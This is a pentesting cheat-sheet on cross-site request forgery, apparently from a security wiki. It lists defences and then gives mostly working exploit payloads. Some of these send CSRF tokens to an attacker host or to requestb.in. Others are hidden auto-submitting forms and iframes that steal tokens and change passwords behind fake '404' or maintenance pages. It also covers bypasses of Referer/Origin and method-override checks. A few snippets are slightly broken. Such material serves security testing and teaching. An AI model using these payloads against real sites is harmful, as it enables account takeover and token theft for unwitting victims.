Physical attacks
Mobile Apps Pentesting
Pentesting

CSRF (Cross Site Request Forgery)

Using your own web or a XSS vulnerability you can make a user send a request to other web page, and if the victim is logged in this web, the requested action will be made using his account (create a new user, a bank transaction ...).

Common defenses

  • Ask for the password user to authorise the action

  • Resolve a captcha

  • Ask for a confirmation showing a prompt to the user

  • Read the Referrer or Origin headers. If a regex is used it could be bypassed form example with:

    • http://mal.net?orig=http://example.com (ends with the url)

    • http://example.com.mal.net (starts with the url)

  • Modify the name of the parameters of the Post or Get request

  • Use a CSRF token in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS.

Exfiltrate CSRF token

XSS

<img src="https://attacker.com/log_csrf?token=
<form action="https://atacker.com/log_csrf"><textarea>

Exploit Examples

Some scripts I found in the internet.

Make a GET request using img tag

<img src=http://google.es?param=VALUE style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Make a Post request using Ajax

<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

Make a Post request using a Form and Iframe in 2 separated files

<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

Get a CSRF Token and send a Post request (x-www-form-urlencoded) using Ajax

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

Get a CSRF Token and send a Post request using an iframe, a form and Ajax

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

Get a CSRF Token with an iframe and write inside the iframe a form a send it

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>

Use 2 iframes: get the token with one and send the post request with the other

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

Get a CSRF token with Ajax and send a post with a form

<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>

Defences Bypass

Method bypass

If the request is using a "weird" method, check if the method override functionality is working. For example, if it's using a PUT method you can try to use a POST method and send: https://example.com/my/dear/api/val/num?_method=PUT

This could also works sending the _method parameter inside the a POST request or using the headers:

  • X-HTTP-Method

  • X-HTTP-Method-Override

  • X-Method-Override

Custom header token bypass

If the request is adding a custom header with a token to the request as CSRF protection method, then:

  • Test the request without the Customized Token and also header.

  • Test the request with exact same length but different token.

Referer / Origin check bypass

From: https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html

https://hahwul.com (O)
https://hahwul.com?white_domain_com (O)
https://hahwul.com;white_domain_com (O)
https://hahwul.com/white_domain_com/../target.file (O)
https://white_domain_com.hahwul.com (O)
https://hahwulwhite_domain_com (O)
file://123.white_domain_com (X)
https://white_domain_com@hahwul.com (X)
https://hahwul.com#white_domain_com (X)
https://hahwul.com\.white_domain_com (X)
https://hahwul.com/.white_domain_com (X)

Effective defences

  • CSRF POST token

  • For actions that requires a Cookie, setting the attribute SameSite to the cookie will mitigate the CSRF

Tools

https://github.com/0xInfection/XSRFProbe